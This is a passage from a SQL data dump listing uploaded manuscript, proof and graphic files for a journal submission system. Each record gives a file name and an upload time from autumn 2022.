10:56:19',1,3,0),(33772,13089,'13089-Manuscript-2022-09-30-2ui4.pdf',NULL,'2022-09-30 12:24:29',1,3,0),(33773,13089,'13089-Manuscript-2022-09-30-7b2j.pdf',NULL,'2022-09-30 12:25:00',1,3,1),(33774,13073,'13073-Manuscript-2022-09-30-j9w2.pdf',NULL,'2022-09-30 12:26:29',1,3,0),(33775,13072,'13072-Manuscript-2022-09-30-e57g.pdf',NULL,'2022-09-30 17:33:04',1,3,0),(33776,13049,'13049-Manuscript-2022-09-30-65mv.pdf',NULL,'2022-09-30 18:47:30',1,3,0),(33777,13087,'13087-Manuscript-2022-09-30-9eas.pdf',NULL,'2022-09-30 18:49:46',1,3,0),(33778,13086,'13086-Manuscript-2022-09-30-zsal.pdf',NULL,'2022-09-30 18:50:24',1,3,1),(33779,13085,'13085-Manuscript-2022-09-30-zk1c.pdf',NULL,'2022-09-30 18:51:07',1,3,1),(33780,13090,'13090-896-Manuscript-proof-submission-2022-10-03.rar',NULL,'2022-10-03 09:50:46',1,3,0),(33781,13091,'13091-1457-Manuscript-proof-submission-2022-10-03.rar',NULL,'2022-10-03 09:51:37',1,3,0),(33782,13091,'13091-698-Manuscript-proof-submission-2022-10-03.rar',NULL,'2022-10-03 09:51:39',1,3,0),(33783,13092,'13092-588-Manuscript-proof-submission-2022-10-03.rar',NULL,'2022-10-03 09:52:20',1,3,0),(33784,13093,'13093-849-Manuscript-proof-submission-2022-10-03.rar',NULL,'2022-10-03 09:53:01',1,3,0),(33785,13094,'13094-844-Manuscript-proof-submission-2022-10-03.rar',NULL,'2022-10-03 09:54:06',1,3,0),(33786,13101,'13101-0-Manuscript-2022-10-03.docx',NULL,'2022-10-03 11:19:23',1,1,0),(33787,13092,'13092-Manuscript-2022-10-03-s1ip-iphspr-22-13092.rar',NULL,'2022-10-03 12:17:46',1,3,0),(33788,13093,'13093-Manuscript-2022-10-03-21yq-iphspr-22-13093.rar',NULL,'2022-10-03 12:18:21',1,3,0),(33789,13094,'13094-Manuscript-2022-10-03-zv81-iphspr-22-13094.rar',NULL,'2022-10-03 12:19:05',1,3,0),(33790,13090,'13090-Manuscript-2022-10-03-i9yk-iphspr-22-13090.rar',NULL,'2022-10-03 12:19:42',1,3,0),(33791,13091,'13091-Manuscript-2022-10-03-k7ih-iphspr-22-13091.rar',NULL,'2022-10-03 12:20:15',1,3,0),(33792,13102,'13102-0-Manuscript-2022-10-03.docx',NULL,'2022-10-03 17:21:20',1,1,0),(33793,13102,'13102-1-Manuscript-2022-10-03.docx',NULL,'2022-10-03 17:21:20',1,1,0),(33794,13102,'13102-2-Manuscript-2022-10-03.docx',NULL,'2022-10-03 17:21:20',1,1,0),(33795,13102,'13102-3-Manuscript-2022-10-03.docx',NULL,'2022-10-03 17:21:20',1,1,0),(33796,13102,'13102-4-Manuscript-2022-10-03.docx',NULL,'2022-10-03 17:21:20',1,1,0),(33797,13102,'13102-5-Manuscript-2022-10-03.docx',NULL,'2022-10-03 17:21:20',1,1,0),(33798,13102,'13102-6-Manuscript-2022-10-03.docx',NULL,'2022-10-03 17:21:20',1,1,0),(33799,13102,'13102-7-Manuscript-2022-10-03.docx',NULL,'2022-10-03 17:21:20',1,1,0),(33800,13102,'13102-8-Manuscript-2022-10-03.png',NULL,'2022-10-03 17:21:20',1,1,0),(33801,13091,'13091-Manuscript-2022-10-04-8g9j-graphic-completed.pdf',NULL,'2022-10-04 10:35:44',1,3,0),(33802,13090,'13090-Manuscript-2022-10-04-9lmq-graphic-completed.pdf',NULL,'2022-10-04 10:35:53',1,3,0),(33803,13093,'13093-Manuscript-2022-10-04-b13n-graphic-completed.pdf',NULL,'2022-10-04 11:05:07',1,3,0),(33804,13094,'13094-Manuscript-2022-10-04-w7zk-graphic-completed.pdf',NULL,'2022-10-04 11:05:11',1,3,0),(33805,13092,'13092-Manuscript-2022-10-04-ws0l-graphic-completed.pdf',NULL,'2022-10-04 11:05:17',1,3,0),(33806,13103,'13103-0-Manuscript-2022-10-04.docx',NULL,'2022-10-04 11:10:15',1,1,0),(33807,13104,'13104-0-Manuscript-2022-10-04.docx',NULL,'2022-10-04 11:11:54',1,1,0),(33808,13105,'13105-0-Manuscript-2022-10-04.docx',NULL,'2022-10-04 11:13:48',1,1,0),(33809,13106,'13106-0-Manuscript-2022-10-04.docx',NULL,'2022-10-04 11:32:00',1,1,0),(33810,13107,'13107-0-Manuscript-2022-10-04.docx',NULL,'2022-10-04 11:50:47',1,1,1),(33811,13093,'13093-Manuscript-2022-10-04-ik1j.pdf',NULL,'2022-10-04 12:04:58',1,3,0),(33812,13094,'13094-Manuscript-2022-10-04-ktpw.pdf',NULL,'2022-10-04 12:05:45',1,3,0),(33813,13090,'13090-Manuscript-2022-10-04-eq5u.pdf',NULL,'2022-10-04 12:06:16',1,3,0),(33814,13091,'13091-Manuscript-2022-10-04-wika.pdf',NULL,'2022-10-04 12:06:47',1,3,0),(33815,13092,'13092-Manuscript-2022-10-04-93ud.pdf',NULL,'2022-10-04 12:07:33',1,3,0),(33816,13108,'13108-0-Manuscript-2022-10-04.docx',NULL,'2022-10-04 12:35:58',1,1,0),(33817,13109,'13109-0-Manuscript-2022-10-04.docx',NULL,'2022-10-04 13:10:25',1,1,0),(33819,13096,'13096-1915-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 11:03:40',1,3,0),(33820,13097,'13097-849-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 11:05:09',1,3,0),(33821,13098,'13098-639-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 11:06:51',1,3,0),(33822,13098,'13098-477-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 11:06:52',1,3,0),(33823,13099,'13099-1804-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 11:08:59',1,3,0),(33824,13100,'13100-577-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 11:10:23',1,3,0),(33825,13100,'13100-1627-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 11:10:24',1,3,0),(33826,13111,'13111-0-Manuscript-2022-10-06.docx',NULL,'2022-10-06 11:31:48',1,1,0),(33827,13112,'13112-0-Manuscript-2022-10-06.docx',NULL,'2022-10-06 12:12:13',1,1,0),(33828,13113,'13113-0-Manuscript-2022-10-06.docx',NULL,'2022-10-06 13:18:35',1,1,0),(33829,13114,'13114-0-Manuscript-2022-10-06.docx',NULL,'2022-10-06 13:50:55',1,1,0),(33830,13107,'13107-779-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 14:05:24',1,3,1),(33831,13106,'13106-1157-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 14:05:44',1,3,0),(33832,13105,'13105-914-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 14:06:04',1,3,0),(33833,13104,'13104-1504-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 14:06:48',1,3,0),(33834,13103,'13103-31-Manuscript-proof-submission-2022-10-06.rar',NULL,'2022-10-06 14:07:06',1,3,0),(33836,13116,'13116-0-Manuscript-2022-10-07.docx',NULL,'2022-10-07 10:31:34',1,1,0),(33837,13116,'13116-1-Manuscript-2022-10-07.docx',NULL,'2022-10-07 10:31:34',1,1,0),(33838,13097,'13097-Manuscript-2022-10-07-y6d0-iptb-22-13097.rar',NULL,'2022-10-07 12:05:13',1,3,0),(33839,13100,'13100-Manuscript-2022-10-07-cpnx-iptb-22-13100.rar',NULL,'2022-10-07 12:10:41',1,3,1),(33840,13099,'13099-Manuscript-2022-10-07-t82w-iptb-22-13099.rar',NULL,'2022-10-07 12:14:41',1,3,1),(33841,13098,'13098-Manuscript-2022-10-07-rvw0-iptb-22-13098.rar',NULL,'2022-10-07 12:17:56',1,3,0),(33842,13100,'13100-Manuscript-2022-10-07-npu3-graphic-completed.pdf',NULL,'2022-10-07 14:55:04',1,3,0),(33843,13099,'13099-Manuscript-2022-10-07-gmbi-graphic-completed.pdf',NULL,'2022-10-07 14:55:08',1,3,0),(33844,13098,'13098-Manuscript-2022-10-07-fyrk-graphic-completed.pdf',NULL,'2022-10-07 14:55:17',1,3,0),(33845,13096,'13096-Manuscript-2022-10-07-xuec-graphic-completed.pdf',NULL,'2022-10-07 14:55:42',1,3,0),(33846,13097,'13097-Manuscript-2022-10-07-sd4p-graphic-completed.pdf',NULL,'2022-10-07 14:56:55',1,3,0),(33847,13096,'13096-Manuscript-2022-10-07-b03a.pdf',NULL,'2022-10-07 15:31:14',1,3,0),(33848,13099,'13099-Manuscript-2022-10-07-r6qp.pdf',NULL,'2022-10-07 15:32:00',1,3,1),(33849,13098,'13098-Manuscript-2022-10-07-hdsw.pdf',NULL,'2022-10-07 15:33:05',1,3,0),(33850,13097,'13097-Manuscript-2022-10-07-7rsp.pdf',NULL,'2022-10-07 15:33:53',1,3,0),(33851,13100,'13100-Manuscript-2022-10-07-gvxl.pdf',NULL,'2022-10-07 15:57:57',1,3,1),(33852,13105,'13105-Manuscript-2022-10-07-fzk7-ipacr-22-13105.rar',NULL,'2022-10-07 17:07:29',1,3,0),(33853,13105,'13105-Manuscript-2022-10-07-tyr0-ipacr-22-13105.rar',NULL,'2022-10-07 17:08:03',1,3,1),(33854,13104,'13104-Manuscript-2022-10-10-7lnk-ipacr-22-13104.rar',NULL,'2022-10-10 10:28:41',1,3,1),(33855,13103,'13103-Manuscript-2022-10-10-iz1l-ipacr-22-13103.rar',NULL,'2022-10-10 10:29:24',1,3,1),(33856,13107,'13107-Manuscript-2022-10-10-is0j-ipacr-22-13107.rar',NULL,'2022-10-10 10:29:54',1,3,0),(33857,13106,'13106-Manuscript-2022-10-10-32lw-ipacr-22-13106.rar',NULL,'2022-10-10 10:30:31',1,3,1),(33858,12725,'12725-Manuscript-2022-10-10-hb8w-graphic-completed.pdf',NULL,'2022-10-10 11:30:38',1,3,0),(33859,12725,'12725-Manuscript-2022-10-10-pyh4.pdf',NULL,'2022-10-10 13:50:21',1,3,0),(33860,12725,'12725-Manuscript-2022-10-10-erkx.pdf',NULL,'2022-10-10 13:51:24',1,3,0),(33861,13117,'13117-0-Manuscript-2022-10-10.docx',NULL,'2022-10-10 15:51:38',1,1,0),(33862,2584,'2584-1022-Manuscript-proof-submission-2022-10-10.docx',NULL,'2022-10-10 17:04:51',1,3,0),(33863,2584,'2584-1361-Manuscript-proof-submission-2022-10-10.docx',NULL,'2022-10-10 17:04:51',1,3,0),(33864,2584,'2584-1461-Manuscript-proof-submission-2022-10-10.docx',NULL,'2022-10-10 17:04:51',1,3,0),(33865,13103,'13103-Manuscript-2022-10-13-tgmy-graphic-completed.pdf',NULL,'2022-10-13 10:51:39',1,3,1),(33866,13104,'13104-Manuscript-2022-10-13-xl2v-graphic-completed.pdf',NULL,'2022-10-13 10:51:43',1,3,0),(33867,13105,'13105-Manuscript-2022-10-13-n9jl-graphic-completed.pdf',NULL,'2022-10-13 10:51:48',1,3,0),(33868,13106,'13106-Manuscript-2022-10-13-4i0z-graphic-completed.pdf',NULL,'2022-10-13 10:51:56',1,3,0),(33869,13107,'13107-Manuscript-2022-10-13-s5jw-graphic-completed.pdf',NULL,'2022-10-13 10:52:04',1,3,0),(33870,13033,'13033-Manuscript-2022-10-13-erf6-graphic-completed.pdf',NULL,'2022-10-13 10:54:15',1,3,0),(33871,13030,'13030-Manuscript-2022-10-13-bfe6-graphic-completed.pdf',NULL,'2022-10-13 10:54:22',1,3,0),(33872,13028,'13028-Manuscript-2022-10-13-9kni-graphic-completed.pdf',NULL,'2022-10-13 10:54:28',1,3,0),(33873,13015,'13015-Manuscript-2022-10-13-hg4m-graphic-completed.pdf',NULL,'2022-10-13 10:54:33',1,3,0),(33874,13017,'13017-Manuscript-2022-10-13-3sre-graphic-completed.pdf',NULL,'2022-10-13 10:54:48',1,3,0),(33875,13013,'13013-660-Manuscript-proof-submission-2022-10-13.rar',NULL,'2022-10-13 11:08:34',1,3,0),(33876,13118,'13118-0-Manuscript-2022-10-13.docx',NULL,'2022-10-13 12:08:52',1,1,0),(33877,13118,'13118-1-Manuscript-2022-10-13.docx',NULL,'2022-10-13 12:08:52',1,1,0),(33878,13013,'13013-Manuscript-2022-10-13-38hw-iptb-22-13013.rar',NULL,'2022-10-13 12:24:03',1,3,0),(33879,13119,'13119-0-Manuscript-2022-10-13.docx',NULL,'2022-10-14 00:36:29',1,1,0),(33880,13119,'13119-1-Manuscript-2022-10-13.pdf',NULL,'2022-10-14 00:36:29',1,1,0),(33881,13119,'13119-2-Manuscript-2022-10-13.pdf',NULL,'2022-10-14 00:36:29',1,1,0),(33882,13120,'13120-0-Manuscript-2022-10-14.docx',NULL,'2022-10-14 14:50:34',1,1,0),(33883,13101,'13101-6w73-Manuscript-proof-submission-2022-10-15.rar',NULL,'2022-10-15 11:10:59',1,3,0),(33884,13101,'13101-Manuscript-2022-10-15-c94p-iptb-22-13101.rar',NULL,'2022-10-15 11:33:12',1,3,0),(33885,13101,'13101-Manuscript-2022-10-15-7re3-graphic-completed.pdf',NULL,'2022-10-15 12:21:49',1,3,0),(33886,13121,'13121-0-Manuscript-2022-10-16.docx',NULL,'2022-10-16 07:40:29',1,1,0),(33887,13105,'13105-Manuscript-2022-10-17-jiua.pdf',NULL,'2022-10-17 10:21:16',1,3,1),(33888,13104,'13104-Manuscript-2022-10-17-4gay.pdf',NULL,'2022-10-17 10:23:11',1,3,1),(33889,13103,'13103-Manuscript-2022-10-17-yopg.pdf',NULL,'2022-10-17 10:25:27',1,3,1),(33890,13106,'13106-Manuscript-2022-10-17-z96o.pdf',NULL,'2022-10-17 10:30:20',1,3,1),(33891,12958,'12958-yq9g-Manuscript-proof-submission-2022-10-17.rar',NULL,'2022-10-17 11:30:17',1,3,0),(33892,12964,'12964-cpo0-Manuscript-proof-submission-2022-10-17.rar',NULL,'2022-10-17 13:57:17',1,3,0),(33893,13040,'13040-0gbh-Manuscript-proof-submission-2022-10-17.rar',NULL,'2022-10-17 15:31:56',1,3,0),(33894,12958,'12958-Manuscript-2022-10-17-4ouv-iphsj-22-12958.rar',NULL,'2022-10-17 16:45:41',1,3,1),(33895,12964,'12964-Manuscript-2022-10-17-jmet-iphsj-22-12964.rar',NULL,'2022-10-17 16:56:01',1,3,1),(33896,13040,'13040-Manuscript-2022-10-17-onlr-iphsj-22-13040.rar',NULL,'2022-10-17 17:01:40',1,3,1),(33898,13062,'13062-n9a6-Manuscript-proof-submission-2022-10-18.rar',NULL,'2022-10-18 13:42:38',1,3,0),(33899,13107,'13107-Manuscript-2022-10-18-ecft.pdf',NULL,'2022-10-18 14:38:47',1,3,1),(33900,13062,'13062-Manuscript-2022-10-18-v83h-iphsj-22-13062.rar',NULL,'2022-10-18 15:08:44',1,3,1),(33901,13040,'13040-Manuscript-2022-10-18-fmpv-graphic-completed.pdf',NULL,'2022-10-18 15:44:07',1,3,0),(33902,12964,'12964-Manuscript-2022-10-18-7b25-graphic-completed.pdf',NULL,'2022-10-18 15:44:21',1,3,0),(33903,12958,'12958-Manuscript-2022-10-18-86aq-graphic-completed.pdf',NULL,'2022-10-18 15:44:31',1,3,0),(33904,13123,'13123-0-Manuscript-2022-10-18.docx',NULL,'2022-10-18 15:52:23',1,1,0),(33905,13123,'13123-1-Manuscript-2022-10-18.docx',NULL,'2022-10-18 15:52:23',1,1,0),(33906,13062,'13062-Manuscript-2022-10-18-4bls-graphic-completed.pdf',NULL,'2022-10-18 18:06:25',1,3,0),(33907,13124,'13124-0-Manuscript-2022-10-18.doc',NULL,'2022-10-19 04:09:14',1,1,0),(33908,13125,'13125-0-Manuscript-2022-10-18.docx',NULL,'2022-10-19 04:33:43',1,1,0),(33909,13040,'13040-Manuscript-2022-10-19-q6a5.pdf',NULL,'2022-10-19 10:10:57',1,3,0),(33910,12964,'12964-Manuscript-2022-10-19-4k6j.pdf',NULL,'2022-10-19 10:12:54',1,3,0),(33911,12958,'12958-Manuscript-2022-10-19-tae7.pdf',NULL,'2022-10-19 10:15:05',1,3,0),(33912,13062,'13062-Manuscript-2022-10-19-t4gp.pdf',NULL,'2022-10-19 10:29:41',1,3,0),(33913,13126,'13126-0-Manuscript-2022-10-19.docx',NULL,'2022-10-19 10:45:33',1,1,0),(33914,13127,'13127-0-Manuscript-2022-10-19.docx',NULL,'2022-10-19 15:56:40',1,1,0),(33915,13128,'13128-0-Manuscript-2022-10-19.docx',NULL,'2022-10-19 15:58:57',1,1,0),(33916,13129,'13129-0-Manuscript-2022-10-19.docx',NULL,'2022-10-19 16:01:04',1,1,0),(33917,13102,'13102-0hys-Manuscript-proof-submission-2022-10-20.rar',NULL,'2022-10-20 10:47:13',1,3,1),(33918,12863,'12863-Manuscript-2022-10-20-e1y9-ipadm-22-12863.zip',NULL,'2022-10-20 14:36:59',1,3,0),(33919,12853,'12853-Manuscript-2022-10-20-uqde-ipadm-22-12853.zip',NULL,'2022-10-20 14:37:51',1,3,0),(33920,13082,'13082-cbod-Manuscript-proof-submission-2022-10-21.pdf',NULL,'2022-10-21 10:48:00',1,3,0),(33921,13082,'13082-bx6v-Manuscript-proof-submission-2022-10-21.rar',NULL,'2022-10-21 10:48:00',1,3,0),(33922,13125,'13125-49lb-Manuscript-proof-submission-2022-10-21.docx',NULL,'2022-10-21 11:42:55',1,3,0),(33923,13130,'13130-0-Manuscript-2022-10-21.docx',NULL,'2022-10-21 12:13:24',1,1,0),(33924,13131,'13131-0-Manuscript-2022-10-21.docx',NULL,'2022-10-21 14:20:06',1,1,0),(33925,13109,'13109-s1b3-Manuscript-proof-submission-2022-10-22.rar',NULL,'2022-10-22 12:14:16',1,3,0),(33926,13109,'13109-lapz-Manuscript-proof-submission-2022-10-22.rar',NULL,'2022-10-22 12:14:18',1,3,0),(33927,13108,'13108-s6wa-Manuscript-proof-submission-2022-10-22.rar',NULL,'2022-10-22 12:16:43',1,3,0),(33928,13108,'13108-b9kj-Manuscript-proof-submission-2022-10-22.rar',NULL,'2022-10-22 12:25:18',1,3,0),(33929,13109,'13109-Manuscript-2022-10-25-yzkm-IPJUS-22-13109.rar',NULL,'2022-10-25 09:50:20',1,3,0),(33930,13108,'13108-Manuscript-2022-10-25-zlmi-ap-team-revised.rar',NULL,'2022-10-25 11:04:42',1,3,0),(33931,13021,'13021-nil8-Manuscript-proof-submission-2022-10-25.docx',NULL,'2022-10-25 12:12:09',1,3,0),(33932,13132,'13132-0-Manuscript-2022-10-25.docx',NULL,'2022-10-25 17:44:37',1,1,0),(33933,13132,'13132-1-Manuscript-2022-10-25.jpg',NULL,'2022-10-25 17:44:37',1,1,0),(33934,13132,'13132-2-Manuscript-2022-10-25.jpg',NULL,'2022-10-25 17:44:37',1,1,0),(33935,13075,'13075-95en-Manuscript-proof-submission-2022-10-26.pdf',NULL,'2022-10-26 11:14:45',1,3,0),(33936,13133,'13133-0-Manuscript-2022-10-26.pdf',NULL,'2022-10-26 11:56:09',1,1,0),(33937,10366,'10366-Manuscript-2022-10-26-g3n7-graphic-completed.pdf',NULL,'2022-10-26 13:42:05',1,3,1),(33938,13134,'13134-0-Manuscript-2022-10-26.docx',NULL,'2022-10-26 15:23:35',1,1,0),(33939,13135,'13135-0-Manuscript-2022-10-26.docx',NULL,'2022-10-26 15:29:33',1,1,0),(33941,13137,'13137-0-Manuscript-2022-10-26.docx',NULL,'2022-10-26 15:42:18',1,1,0),(33943,13139,'13139-0-Manuscript-2022-10-26.docx',NULL,'2022-10-26 15:56:00',1,1,0),(33944,13140,'13140-0-Manuscript-2022-10-26.docx',NULL,'2022-10-26 16:45:44',1,1,0),(33945,13141,'13141-0-Manuscript-2022-10-26.docx',NULL,'2022-10-26 16:48:31',1,1,0),(33946,13020,'13020-zpi0-Manuscript-proof-submission-2022-10-26.rar',NULL,'2022-10-26 17:16:09',1,3,0),(33947,13019,'13019-qach-Manuscript-proof-submission-2022-10-26.rar',NULL,'2022-10-26 17:16:28',1,3,0),(33948,13019,'13019-Manuscript-2022-10-26-6ibg-ipjbs-22-13019.rar',NULL,'2022-10-26 17:59:57',1,3,1),(33949,13020,'13020-Manuscript-2022-10-26-kouv-ipjbs-22-13020.rar',NULL,'2022-10-26 18:00:48',1,3,1),(33950,13142,'13142-0-Manuscript-2022-10-26.docx',NULL,'2022-10-27 01:55:32',1,1,0),(33951,13142,'13142-1-Manuscript-2022-10-26.docx',NULL,'2022-10-27 01:55:32',1,1,0),(33952,13037,'13037-Manuscript-2022-10-27-evrw-ap-team-revised.zip',NULL,'2022-10-27 11:20:11',1,3,0),(33953,13102,'13102-Manuscript-2022-10-27-58ws-ipjnn-22-13102.rar',NULL,'2022-10-27 11:33:12',1,3,0),(33954,12853,'12853-Manuscript-2022-10-27-5z4k-move-pdf-making.pdf',NULL,'2022-10-27 11:33:54',1,3,0),(33955,13037,'13037-Manuscript-2022-10-27-7u0b-move-pdf-making.pdf',NULL,'2022-10-27 11:34:26',1,3,0),(33956,12863,'12863-Manuscript-2022-10-27-b6s3-move-pdf-making.pdf',NULL,'2022-10-27 11:34:54',1,3,0),(33957,12863,'12863-Manuscript-2022-10-27-usl0-move-pdf-making.pdf',NULL,'2022-10-27 11:35:21',1,3,0),(33958,13143,'13143-0-Manuscript-2022-10-27.docx',NULL,'2022-10-27 11:49:38',1,1,0),(33959,13144,'13144-0-Manuscript-2022-10-27.docx',NULL,'2022-10-27 11:51:08',1,1,0),(33960,13145,'13145-0-Manuscript-2022-10-27.docx',NULL,'2022-10-27 11:52:47',1,1,0),(33961,13075,'13075-Manuscript-2022-10-27-k17e-ipadm-22-13075.zip',NULL,'2022-10-27 12:14:11',1,3,0),(33962,13075,'13075-Manuscript-2022-10-27-f41p-move-pdf-making.pdf',NULL,'2022-10-27 12:23:02',1,3,0),(33963,13075,'13075-Manuscript-2022-10-27-nui2.pdf',NULL,'2022-10-27 12:27:05',1,3,0),(33964,13132,'13132-ks5e-Manuscript-proof-submission-2022-10-27.docx',NULL,'2022-10-27 13:31:26',1,3,0),(33965,13109,'13109-Manuscript-2022-10-27-gt25-graphic-completed.pdf',NULL,'2022-10-27 15:33:00',1,3,0),(33966,13108,'13108-Manuscript-2022-10-27-uqor-graphic-completed.pdf',NULL,'2022-10-27 15:33:30',1,3,0),(33967,12998,'12998-Manuscript-2022-10-27-iyvj-graphic-completed.pdf',NULL,'2022-10-27 15:35:00',1,3,0),(33968,13013,'13013-Manuscript-2022-10-27-y5xv-graphic-completed.pdf',NULL,'2022-10-27 15:36:32',1,3,0),(33969,13132,'13132-Manuscript-2022-10-27-f1sx-ipaom-22-13132.docx',NULL,'2022-10-27 17:13:54',1,3,0),(33970,13102,'13102-Manuscript-2022-10-28-dvxk-graphic-completed.pdf',NULL,'2022-10-28 15:08:53',1,3,0),(33971,13132,'13132-Manuscript-2022-10-28-6hpu-graphic-completed.pdf',NULL,'2022-10-28 15:33:09',1,3,0),(33972,13102,'13102-Manuscript-2022-10-28-pa9e.pdf',NULL,'2022-10-28 15:40:42',1,3,0),(33973,13132,'13132-Manuscript-2022-10-28-kp8a.pdf',NULL,'2022-10-28 16:37:07',1,3,0),(33974,13132,'13132-Manuscript-2022-10-29-csf1-ap-ame-revised.pdf',NULL,'2022-10-29 09:37:45',1,3,0),(33975,13132,'13132-Manuscript-2022-10-29-hid5.pdf',NULL,'2022-10-29 09:42:27',1,3,0),(33976,13146,'13146-0-Manuscript-2022-10-29.docx',NULL,'2022-10-29 10:15:21',1,1,0),(33977,13147,'13147-0-Manuscript-2022-10-29.docx',NULL,'2022-10-29 10:44:23',1,1,0),(33979,13117,'13117-l8wv-Manuscript-proof-submission-2022-10-31.rar',NULL,'2022-10-31 10:05:26',1,3,1),(33980,13020,'13020-Manuscript-2022-10-31-czhd-graphic-completed.pdf',NULL,'2022-10-31 11:16:32',1,3,0),(33981,13019,'13019-Manuscript-2022-10-31-peil-graphic-completed.pdf',NULL,'2022-10-31 11:16:54',1,3,0),(33982,13020,'13020-Manuscript-2022-10-31-yuzk-graphic-completed.pdf',NULL,'2022-10-31 11:17:01',1,3,0),(33983,8118,'8118-Manuscript-2022-10-31-n6um-graphic-completed.pdf',NULL,'2022-10-31 11:27:38',1,3,0),(33984,8163,'8163-Manuscript-2022-10-31-1wv3-graphic-completed.pdf',NULL,'2022-10-31 11:52:05',1,3,0),(33985,13121,'13121-se0m-Manuscript-proof-submission-2022-10-31.rar',NULL,'2022-10-31 14:45:26',1,3,0),(33986,13121,'13121-Manuscript-2022-10-31-v68b-ap-team-revised.rar',NULL,'2022-10-31 15:08:01',1,3,1),(33987,13117,'13117-Manuscript-2022-10-31-e6mq-graphic-completed.pdf',NULL,'2022-10-31 15:50:21',1,3,0),(33988,13121,'13121-Manuscript-2022-10-31-ay5j-graphic-completed.pdf',NULL,'2022-10-31 16:50:18',1,3,0),(33989,13117,'13117-Manuscript-2022-10-31-l1tz.pdf',NULL,'2022-10-31 17:32:53',1,3,0),(33990,13121,'13121-Manuscript-2022-10-31-ld10.pdf',NULL,'2022-10-31 17:38:26',1,3,0),(33991,13149,'13149-0-Manuscript-2022-10-31.docx',NULL,'2022-11-01 01:35:06',1,1,0),(33992,12500,'12500-Manuscript-2022-11-01-7me5.pdf',NULL,'2022-11-01 09:56:38',1,3,0),(33993,12501,'12501-Manuscript-2022-11-01-d1xm.pdf',NULL,'2022-11-01 09:57:43',1,3,0),(33994,12900,'12900-Manuscript-2022-11-01-f1wx.pdf',NULL,'2022-11-01 10:01:54',1,3,0),(33995,12906,'12906-Manuscript-2022-11-01-f6ds.pdf',NULL,'2022-11-01 10:12:38',1,3,0),(33996,12929,'12929-Manuscript-2022-11-01-970g.pdf',NULL,'2022-11-01 10:14:12',1,3,0),(33997,12935,'12935-Manuscript-2022-11-01-7x3j.pdf',NULL,'2022-11-01 10:16:53',1,3,0),(33998,13150,'13150-0-Manuscript-2022-11-01.docx',NULL,'2022-11-01 11:14:45',1,1,0),(33999,13151,'13151-0-Manuscript-2022-11-01.docx',NULL,'2022-11-01 11:15:51',1,1,0),(34000,13088,'13088-Manuscript-2022-11-01-a0qg.pdf',NULL,'2022-11-01 11:20:31',1,3,0),(34001,12993,'12993-Manuscript-2022-11-01-i4gh.pdf',NULL,'2022-11-01 11:22:44',1,3,0),(34002,12910,'12910-Manuscript-2022-11-01-cf2r.pdf',NULL,'2022-11-01 11:26:28',1,3,0),(34003,12897,'12897-Manuscript-2022-11-01-o6a9.pdf',NULL,'2022-11-01 11:29:21',1,3,0),(34004,12898,'12898-Manuscript-2022-11-01-6sde.pdf',NULL,'2022-11-01 11:30:50',1,3,0),(34005,13109,'13109-p65u-Manuscript-proof-submission-2022-11-01.rar',NULL,'2022-11-01 13:39:33',1,3,0),(34006,13109,'13109-9lmx-Manuscript-proof-submission-2022-11-01.rar',NULL,'2022-11-01 13:39:35',1,3,0),(34007,13152,'13152-0-Manuscript-2022-11-01.docx',NULL,'2022-11-01 14:05:34',1,1,0),(34008,13153,'13153-0-Manuscript-2022-11-01.docx',NULL,'2022-11-01 14:07:50',1,1,0),(34009,12933,'12933-Manuscript-2022-11-01-aesf.pdf',NULL,'2022-11-01 14:18:05',1,3,0),(34010,13007,'13007-47ez-Manuscript-proof-submission-2022-11-01.rar',NULL,'2022-11-01 14:21:46',1,3,1),(34011,13046,'13046-d4yp-Manuscript-proof-submission-2022-11-01.rar',NULL,'2022-11-01 14:22:23',1,3,1),(34012,13127,'13127-u1fx-Manuscript-proof-submission-2022-11-01.rar',NULL,'2022-11-01 14:23:02',1,3,1),(34013,13128,'13128-nop9-Manuscript-proof-submission-2022-11-01.rar',NULL,'2022-11-01 14:23:37',1,3,1),(34014,12286,'12286-vr09-Manuscript-proof-submission-2022-11-01.rar',NULL,'2022-11-01 14:24:32',1,3,1),(34015,12286,'12286-2780-Manuscript-proof-submission-2022-11-01.rar',NULL,'2022-11-01 14:24:34',1,3,0),(34016,13109,'13109-Manuscript-2022-11-01-76ti-IPJUS-22-13109.rar',NULL,'2022-11-01 14:33:39',1,3,0),(34017,13128,'13128-Manuscript-2022-11-02-ke6b-iphspr-22-13128.rar',NULL,'2022-11-02 10:33:35',1,3,0),(34018,13127,'13127-Manuscript-2022-11-02-mbhs-iphspr-22-13127.rar',NULL,'2022-11-02 10:35:05',1,3,0),(34019,13007,'13007-Manuscript-2022-11-02-l5gc-iphspr-22-13007.rar',NULL,'2022-11-02 10:48:33',1,3,0),(34020,13020,'13020-Manuscript-2022-11-02-mwkg.pdf',NULL,'2022-11-02 11:08:10',1,3,0),(34021,13019,'13019-Manuscript-2022-11-02-lhau.pdf',NULL,'2022-11-02 11:09:48',1,3,0),(34022,13154,'13154-0-Manuscript-2022-11-02.docx',NULL,'2022-11-02 11:45:21',1,1,0),(34023,13145,'13145-t2ji-Manuscript-proof-submission-2022-11-02.rar',NULL,'2022-11-02 12:21:28',1,3,0),(34024,13144,'13144-fwuz-Manuscript-proof-submission-2022-11-02.rar',NULL,'2022-11-02 12:21:55',1,3,0),(34025,13143,'13143-2k8n-Manuscript-proof-submission-2022-11-02.rar',NULL,'2022-11-02 12:22:22',1,3,0),(34026,13135,'13135-qwmr-Manuscript-proof-submission-2022-11-02.rar',NULL,'2022-11-02 13:28:24',1,3,0),(34027,13144,'13144-Manuscript-2022-11-02-w6xp-ipjbs-22-13144.rar',NULL,'2022-11-02 13:31:02',1,3,0),(34028,13143,'13143-Manuscript-2022-11-02-897o-ipjbs-22-13143.rar',NULL,'2022-11-02 13:31:39',1,3,0),(34029,13145,'13145-Manuscript-2022-11-02-y0id-ipjbs-22-13145.rar',NULL,'2022-11-02 13:34:04',1,3,1),(34030,13101,'13101-Manuscript-2022-11-02-uvfy.pdf',NULL,'2022-11-02 